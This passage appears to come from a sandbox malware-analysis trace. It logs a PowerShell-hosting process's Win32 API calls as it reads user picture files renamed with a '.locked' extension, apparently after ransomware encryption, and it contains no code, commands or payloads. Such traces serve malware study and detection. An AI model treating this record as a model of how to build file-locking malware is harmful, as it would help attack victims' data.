lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", lpFilePart=0x0) returned 0x6f [0135.455] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", lpFilePart=0x0) returned 0x6f [0135.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.455] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.457] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.457] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.457] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.457] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.457] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.458] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.458] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.458] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.460] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.460] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.460] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.460] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.460] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.461] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.461] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.461] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.461] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.461] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.462] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0135.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp.locked"), fInfoLevelId=0x0, lpFileInformation=0x691cf0c | out: lpFileInformation=0x691cf0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f4febe, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13f4febe, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13f4febe, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x47a4)) returned 1 [0135.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.465] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", lpFilePart=0x0) returned 0x6f [0135.465] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.465] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.466] CloseHandle (hObject=0x858) returned 1 [0135.466] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0135.469] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0135.469] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0135.472] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0135.473] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.473] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.473] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.476] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0135.476] GetConsoleOutputCP () returned 0x1b5 [0135.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0135.477] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0135.477] GetConsoleOutputCP () returned 0x1b5 [0135.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0135.477] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.478] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6929fd0*, nNumberOfCharsToWrite=0x65, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6929fd0*, lpNumberOfCharsWritten=0x99ae3a4*=0x65) returned 1 [0135.478] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.479] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0135.483] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0135.484] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0135.484] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0135.487] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.487] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.488] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.491] GetConsoleOutputCP () returned 0x1b5 [0135.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.491] GetConsoleOutputCP () returned 0x1b5 [0135.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.491] GetConsoleOutputCP () returned 0x1b5 [0135.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.492] GetConsoleOutputCP () returned 0x1b5 [0135.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.492] GetConsoleOutputCP () returned 0x1b5 [0135.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.492] GetConsoleOutputCP () returned 0x1b5 [0135.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.493] GetConsoleOutputCP () returned 0x1b5 [0135.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.493] GetConsoleOutputCP () returned 0x1b5 [0135.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.493] GetConsoleOutputCP () returned 0x1b5 [0135.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.493] GetConsoleOutputCP () returned 0x1b5 [0135.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.494] GetConsoleOutputCP () returned 0x1b5 [0135.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.494] GetConsoleOutputCP () returned 0x1b5 [0135.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.494] GetConsoleOutputCP () returned 0x1b5 [0135.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.495] GetConsoleOutputCP () returned 0x1b5 [0135.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.495] GetConsoleOutputCP () returned 0x1b5 [0135.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.495] GetConsoleOutputCP () returned 0x1b5 [0135.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.496] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.497] GetConsoleOutputCP () returned 0x1b5 [0135.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.497] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.497] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692af48*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x692af48*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.498] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.498] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.501] GetConsoleOutputCP () returned 0x1b5 [0135.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.502] GetConsoleOutputCP () returned 0x1b5 [0135.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.502] GetConsoleOutputCP () returned 0x1b5 [0135.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.502] GetConsoleOutputCP () returned 0x1b5 [0135.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.503] GetConsoleOutputCP () returned 0x1b5 [0135.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.503] GetConsoleOutputCP () returned 0x1b5 [0135.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.503] GetConsoleOutputCP () returned 0x1b5 [0135.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.504] GetConsoleOutputCP () returned 0x1b5 [0135.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.504] GetConsoleOutputCP () returned 0x1b5 [0135.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.504] GetConsoleOutputCP () returned 0x1b5 [0135.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.505] GetConsoleOutputCP () returned 0x1b5 [0135.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.505] GetConsoleOutputCP () returned 0x1b5 [0135.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.505] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.506] GetConsoleOutputCP () returned 0x1b5 [0135.506] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.506] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.506] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692b9a0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x692b9a0*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.507] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.507] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.511] GetConsoleOutputCP () returned 0x1b5 [0135.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.511] GetConsoleOutputCP () returned 0x1b5 [0135.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.511] GetConsoleOutputCP () returned 0x1b5 [0135.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.512] GetConsoleOutputCP () returned 0x1b5 [0135.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.512] GetConsoleOutputCP () returned 0x1b5 [0135.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.512] GetConsoleOutputCP () returned 0x1b5 [0135.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.513] GetConsoleOutputCP () returned 0x1b5 [0135.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.513] GetConsoleOutputCP () returned 0x1b5 [0135.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 